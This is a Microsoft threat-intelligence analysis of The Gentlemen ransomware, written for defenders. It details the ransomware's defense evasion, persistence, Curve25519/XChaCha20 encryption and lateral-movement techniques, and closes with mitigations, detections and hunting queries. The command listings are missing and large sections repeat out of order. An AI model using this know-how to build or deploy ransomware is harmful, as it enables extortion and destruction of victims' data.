3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Ransomware that combines robust encryption with rapid lateral movement significantly increases the risk and impact of an attack. The Gentlemen ransomware is a ransomware-as-a-service (RaaS) threat that is distinguished by its ability to pair its strong per-file encryption with an aggressive self-propagation capability designed to enable broad network compromise. In addition to using per-file ephemeral Curve25519 keys with XChaCha20 stream cipher, The Gentlemen ransomware attempts to spread across an environment using series of simultaneous, distinct lateral movement methods, increasing the likelihood of widespread impact once initial access is achieved.

Microsoft Threat Intelligence tracks the operators behind the ransomware as Storm-2697, a financially motivated threat actor that manages the RaaS platform known as “The Gentlemen” while affiliates carry out attacks. Emerging around mid-2025, The Gentlemen initially started as a closed ransomware group then began offering its RaaS to affiliates in September 2025. More recently, The Gentlemen operators established an official partnership with BreachForums, a popular cybercriminal marketplace, to recruit affiliates including penetration testers and initial access brokers. Given that The Gentlemen is already a widely adopted RaaS platform, this partnership may lead to increased activity as the program becomes accessible to a broader pool of threat actors.

The operators behind the ransomware use double extortion tactics, encrypting data while also exfiltrating sensitive information to pressure victims through the threat of public release if the ransom is not paid. The ransomware is written in Go and obfuscated with Garble to target the Windows environment. Microsoft has observed The Gentlemen ransomware impacting organizations across education, transportation, healthcare, and financial industries in North America, South America, Europe, Africa, and Asia.

In this blog, we present a detailed analysis of the Gentlemen ransomware encryptor, including its execution flow, defense evasion behaviors, encryption design, and lateral movement techniques. This research is intended to provide defenders, incident responders, and the broader security community with a better understanding of how the threat operates, from initial argument parsing and defense evasion, through its file encryption internals, to the full lateral movement that enables it to propagate across the network. We also provide mitigation guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Command-line argument processing

The ransomware operator can control The Gentlemen encryptor through command-line arguments. A password is required for execution, and optional arguments allow the operator to specify encryption scope, speed, lateral movement, and post-encryption behaviors.

The binary accepts the following arguments:

The --full command-line argument appears to be the intended mode of operation for comprehensive file encryption on the infected device. When this argument is provided, the malware spawns two child processes of itself: one appended with the argument --system to encrypt local volumes under a SYSTEM-privileged scheduled task, and one appended with the argument --shares to encrypt network shares. This separation ensures that the malware can reach both local drives (which might require SYSTEM privileges) and mapped network shares (which are only visible in the user’s session).

The speed arguments (--fast, --superfast, --ultrafast) are mutually exclusive and control how much of each large file is encrypted. When no speed flag is specified, the default per-chunk percentage is 9%. These flags only affect files that are larger than 1 MB, and small files are fully encrypted regardless of the speed setting.

Usage prompt

When the encryptor is executed with no command-line argument, the malware prints a branded usage banner to the console.

It first executes the following PowerShell commands to render a console header:

This is followed by a detailed usage prompt provided by the malware author that documents all available flags with descriptions and examples:

It is worth noting that the file size percentages listed in the usage prompt refer to the total file encryption amount. Internally, the malware encrypts three separate chunks, and the per-chunk percentage used in the code is: fast=3%, superfast=1%, ultrafast=0.3%, default=9%.

Password check

Before executing its primary functionality, the malware validates the --password argument against a hardcoded value embedded within the binary. For the sample analyzed in this blog, the expected password is “9VoAvR7G”. If the provided password does not match, the malware outputs bad args and terminates execution.

This password check is a simple operator authentication mechanism, with each build containing a unique embedded password. Its purpose is to restrict execution to authorized operators and reduce the risk of accidental or unauthorized detonation if the binary is recovered or intercepted. However, because this validation relies on a static comparison, it can be easily identified and bypassed through static analysis techniques.

System encryption: Privilege escalation

When the --system argument is provided (either directly or via the --full argument), the malware creates a scheduled task to re-execute itself as SYSTEM. If a delay value is also specified through the --T argument, the scheduled execution time is adjusted accordingly.

To relaunch itself as SYSTEM, it issues the following sequence of commands:

The malware can only perform this task if it’s executed from an account with administrator privilege. It first deletes any existing task named gentlemen_system to avoid conflicts, creates a new one-time task that runs its binary under the SYSTEM account, and finally triggers that task.

This sequence ensures a clean state by first removing any existing task with the same name (gentlemen_system), creating a new scheduled task that executes the ransomware binary with SYSTEM-level privileges before finally triggering its immediate execution.

When running within this scheduled task context, the malware sets the environment variable LOCKER_BACKGROUND=1. This variable functions as an internal execution flag, indicating that the process is operating as a background encryption worker with elevated privileges, rather than as the original operator-invoked instance.

Defense evasion

Before starting file encryption, the malware executes a sequence of commands to disable defensive controls and remove potential forensic artifacts.

Disable Microsoft Defender

The PowerShell commands disable Microsoft Defender real-time monitoring to remove active protection on the infected device. The malware then adds its own executable to the Defender exclusion list to avoid detection. Finally, it excludes the entire C:\ volume from scanning, reducing the likelihood of subsequent detection during file encryption.

Delete shadow copies and event logs

To further impede recovery efforts, the malware deletes all Volume Shadow Copies using both vssadmin and wmic (Windows Management Instrumentation command-line utility). It then clears the System, Application, and Security event logs using wevtutil to remove key audit trails.

Delete forensics artifacts

These commands remove a variety of forensic artifacts, including prefetch files that track program execution, Defender diagnostic and support logs, and Remote Desktop Protocol (RDP) logs.

Additionally, the malware manually deletes PowerShell command history across all user profiles by removing the following file:

This action eliminates evidence of previously executed PowerShell commands, further reducing the visibility of execution history and threat actor activity.

Process and service termination

Process termination

The malware stops a list of running processes using the command:

The table below summarizes the different categories and processes being targeted:

Service termination

In addition to terminating processes, the malware disables and stops a list of Windows services using the commands:

The table below summarizes the different categories and services being targeted:

Terminating these processes and services serves two primary objectives:

• File access and encryption reliability: Many targeted processes/services, such as databases, Office applications, and backup agents, maintain active file locks. By forcibly terminating these processes, the ransomware ensures that locked files become accessible for encryption.
• Defense and recovery disruption: By stopping backup services, endpoint protection agents, and remote access tools, the malware reduces the likelihood of real-time detection and data restoration from backups.

Collectively, these behaviors maximize encryption coverage while hindering the environment’s ability to detect, respond to, or recover from the attack.

Persistence

The encryptor can establish persistence for itself through two mechanisms: scheduled tasks and registry keys.

Scheduled tasks persistence

For establishing persistence with scheduled tasks, the malware executes the following sequence of commands:

These commands first remove any pre-existing tasks with the same names, then create two persistence mechanisms that execute automatically at system startup. The UpdateSystem task launches the payload in the SYSTEM security context, while the UpdateUser task launches it in the currently signed-in user’s context. This design increases the likelihood that the ransomware will run after reboot regardless of privilege level or sign-in state.

Registry keys persistence

For establishing persistence with the registry, the malware executes the following sequence of commands:

The GupdateS value under HKEY_LOCAL_MACHINE (HKLM) provides device-wide persistence that allows the malware to run at startup for all users, while the GupdateU value under HKEY_CURRENT_USER (HKCU) provides user-scoped persistence within the current profile. By writing to both registry hives, the malware establishes redundant autorun paths across both system-level and user-level execution contexts.

Together, the scheduled tasks and Run key modifications create layered persistence, ensuring that the encryptor is re-executed after a reboot in both privileged and user-context scenarios.

Network share traversal

When the command-line argument --shares is provided, the malware initiates network share discovery and enumeration. It begins by probing all drive letters A through Z to identify mapped network drives using the following commands:

This sequence discovers any drives that are already mapped in the current user’s session, which are then added to the encryption target list.

To further enhance visibility into the network environment, the malware enables multiple Windows network discovery services and their associated firewall rules using the following commands:

The services enabled as part of this process include:

• Function Discovery Resource Publication (fdrespub): Publishes the host’s resources to the network, allowing other systems to detect it.
• Function Discovery Provider Host (fdPHost): Hosts provider components responsible for discovering network resources.
• Simple Service Discovery Protocol (SSDP) Discovery (SSDPSRV): Enables discovery of Universal Plug and Play (UPnP) devices.
• UPnP Device Host (upnphost): Supports the hosting and management of UPnP devices.

Finally, the malware reinforces this configuration by enabling the Network Discovery firewall rule group. This redundancy ensures that firewall restrictions do not limit its network visibility, further maximizing the number of reachable targets for encryption and propagation.

Volume and directory traversal

To enumerate all available volumes on the system, the malware executes the following PowerShell command sequence:

This command queries Windows Management Instrumentation (WMI) for all mounted volumes with drive letter paths and attempts to enumerate Cluster Shared Volumes (CSVs).

Additionally, the malware performs a secondary enumeration routine by iterating through drive letters A through Z while verifying their existence on disk. This brute-force method ensures broader coverage by identifying volumes that might not be retrieved through WMI queries to maximize visibility into all potential encryption targets.

Directory exclusion list

To maintain system stability and avoid disrupting critical operating system components, the malware excludes a predefined set of directories from traversal and encryption. These directories include core Windows system paths, application directories, and locations commonly associated with security and system management:

Extension exclusion list

The ransomware also excludes a set of file extensions associated with system-critical binaries, configuration files, and executable content:

By avoiding executable files, libraries, scripts, and other system-relevant formats, the malware preserves the integrity of the operating environment. This selective encryption model is a common ransomware design pattern, ensuring that the system remains operational enough for the victim to receive instructions and facilitate ransom payment.

File name exclusion list

The specific file names below are also excluded:

The inclusion of README-GENTLEMEN.txt, the ransomware’s ransom note, prevents it from being encrypted during execution. This ensures that the ransom instructions remain accessible to the victim, which is critical for the operator’s monetization workflow.

Ransom note

During directory traversal, the malware drops a ransom note named README-GENTLEMEN.txt in each scanned directory to provide victim-facing instructions.

The note contains identifiers assigned to the victim, communication channels, and guidance on how to initiate contact with the operators.

File encryption

File ownership

Before encrypting a file, the ransomware modifies the file ownership and access control settings to ensure it has unrestricted write access to the target. This is achieved through the following sequence of commands:

The takeown command recursively transfers ownership of the specified file or directory to the executing user, overriding existing ownership constraints. The icacls command then grants full control permissions to the Everyone security identifier (SID S-1-1-0), applying inheritance flags to propagate these permissions to all child objects. Finally, the attrib command removes the read-only attributes.

Cryptographic scheme

The Gentlemen ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher to achieve efficient and secure per-file encryption.

For each file, the malware performs the following sequence of operations:

1. Generates a unique ephemeral Curve25519 key pair, consisting of a randomly generated private key and its corresponding public key
2. Computes the Elliptic-curve Diffie–Hellman (ECDH) shared secret between the ephemeral private key and the operator’s embedded public key
3. Uses the resulting shared secret as the XChaCha20 key, and derives the nonce from the first 24 bytes of the ephemeral public key
4. Encrypts the file contents using XChaCha20 with this key and nonce combination
5. Appends the Base64-encoded ephemeral public key to the file footer to enable subsequent key reconstruction during decryption

In this sample, the operator’s public key is hard-coded within the binary as a Base64-encoded value:

This design ensures that each file is encrypted with a distinct key and nonce derived from a per-file ephemeral key exchange, eliminating any possibility of key or nonce reuse across files.

During decryption, the decryptor can use the operator’s Curve25519 private key together with the stored ephemeral public key to reconstruct the ECDH shared secret and recover the XChaCha20 key. The nonce is deterministically reconstructed by extracting the first 24 bytes of the recovered ephemeral public key, making separate nonce storage unnecessary.

Overall, this approach provides strong cryptographic isolation between encrypted files while maintaining operational simplicity and efficiency for the threat actor during both encryption and decryption.

Size-based encryption

The malware uses different encryption strategies based on file size:

Small files that are less than 1MB in size are fully encrypted. This ensures that documents, configuration files, and other small but critical data are completely corrupted. For larger files such as databases, virtual disk images, archives, full encryption would be time-consuming. Instead, the malware encrypts three data chunks distributed across the file, which is sufficient to corrupt the file structure while dramatically reducing encryption time.

After encryption, each affected file is renamed with the appended extension .umc16h. This extension serves as a quick indicator of files already encrypted by the ransomware.

Large file chunking logic

For files larger than 1 MB, the malware performs partial encryption by dividing the file into three non-contiguous chunks distributed across its contents:

The first chunk begins at the start of the file, the second is positioned near the midpoint, and the third is located toward the end. This distribution ensures that even limited encryption is sufficient to corrupt the file structure while minimizing processing time.

Each chunk is encrypted in 64 KB (0x10000) blocks using XChaCha20. To maintain cryptographic separation between chunks, the malware modifies the nonce on a per-chunk basis. Specifically, the last byte of the 24-byte XChaCha20 nonce is XOR-ed with the chunk index (0, 1, or 2), and a new cipher instance is initialized for each chunk using the modified nonce. As a result, chunk 0 uses the original nonce, while subsequent chunks use deterministically altered variants.

Although all chunks for a given file share the same derived encryption key, this nonce mutation ensures that each chunk is processed under a unique keystream, preventing keystream reuse across different regions of the file.

The encryption percentage for each file is determined by the provided speed command-line arguments:

File footer

After encrypting each file, the malware appends a structured footer containing metadata required for identification and decryption. The footer format differs slightly depending on whether the file was fully or partially encrypted.

Small file encryption (files ≤ 1 MB):

Large file encryption (files > 1 MB):

The footer serves three primary functions:

1. Key and nonce reconstruction: The Base64-encoded ephemeral public key, located after --eph--, allows the decryptor to recompute both the XChaCha20 key (using ECDH shared secret) and the nonce (first 24 bytes of the ephemeral public key).
2. Identification: The GENTLEMEN marker, located after --marker--, serves as a unique identifier, allowing encryptors/decryptors to quickly determine that the file has been encrypted by The Gentlemen ransomware.
3. Decryption mode: The optional speed flag marker (only present on large files) tells the decryptor which chunking percentage was used.

Notably, the speed marker is only present for large-file encryption. Files that are ≤ 1 MB do not include a speed marker, and its absence signals that the file was fully encrypted. This implicit encoding in the footer allows the decryptor to distinguish between full and partial encryption modes without requiring additional metadata fields.

Post-encryption

Wallpaper setup

If the --silent argument is not provided, the malware drops the following bitmap image file to %TEMP%\gentlemen.bmp and sets it as the system’s desktop wallpaper.

This behavior serves as an immediate visual indicator of compromise, signaling to the victim that encryption has completed.

Self-propagation

The self-propagation module is the more distinctive component of The Gentlemen ransomware. When enabled with the --spread argument, it turns the malware from a single-host encryptor into a self-propagating worm that attempts to deploy its encryptor to every reachable system on the network.

The --spread argument accepts either explicit credentials in domain/user:password format for authenticated lateral movement, or an empty string to reuse the current session’s authentication token.

Placeholder legend

The executed commands in this section use the following placeholders:

Phase 1: Local staging setup

The malware prepares the infected host to act as a distribution point for its binary by executing the following command sequence:

The commands copy the malware executable into C:\Temp, creates a hidden Server Message Block (SMB) share named share$ pointing to that directory, and modifies registry settings to allow anonymous access. With this setup, other systems on the network can retrieve the payload from \\<self>\share$, even when valid credentials are not available.

Phase 2: PsExec drop

The malware binary carries an embedded copy of PsExec and drops it to C:\Temp\psexec.exe on the infected device.

If the embedded PsExec payload cannot be extracted successfully, the malware falls back to downloading PsExec directly from Microsoft’s Sysinternals Live service using the following PowerShell command:

Phase 3: Network enumeration

After dropping PsExec, the malware attempts to enumerate and discover remote systems on the network, including workstations, servers, and domain controllers. Each discovered host becomes a candidate target for propagation.

Phase 4: PowerShell defense evasion blob

Before attempting to run the payload on a remote system, the malware executes the following PowerShell command on the remote target to weaken local defenses and make payload execution more reliable:

This command disables Microsoft Defender real-time monitoring, adds broad Defender exclusions, turns off Windows Firewall across all profiles, shares local drives, grants permissive New Technology File System (NTFS) access, enables SMB1, and loosens anonymous-access restrictions through Local Security Authority (LSA) registry settings. Together, these changes make the remote system significantly more exposed and ready for the payload deployment step.

Phase 5: Payload deployment

For each discovered remote host, the malware attempts a series of independent lateral movement techniques to execute its payload. Notably, these techniques are executed without dependency on prior success, and each method is attempted regardless of whether earlier attempts fail. This execution model of The Gentlemen’s propagation logic can significantly increase the likelihood that at least one execution path succeeds even in secured environments.

5.1: Remote file copy

The malware first stages its payload on the remote system by copying the encryptor binary over the administrative C$ share:

This operation ensures a local copy of the payload is available on the target host, allowing subsequent execution methods to reference a path that does not depend on network shares.

5.2: PsExec-based execution

If PsExec is successfully dropped or downloaded, the malware leverages it to perform a multi-stage execution sequence on the remote host.

